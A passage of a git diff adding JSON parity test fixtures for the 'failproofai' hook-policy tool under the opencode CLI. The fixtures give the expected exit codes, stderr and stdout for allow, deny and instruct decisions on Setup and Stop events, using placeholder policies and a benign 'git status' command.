&a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9319940c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f6eaa5b7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d2a0ec5e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..166e0b55 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ecc4d612 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..97b3c811 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b76151c9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..15e64872 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d8de361f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ce1be255 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..985b6269 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..14e6eb6c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..dbd82dbd --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..452b15ea --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..8a30fb77 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..70f691e0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..36d166a9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..60555d13 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..6e5a0ba3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}}" + }, + "policy_count": 2, + "tool": 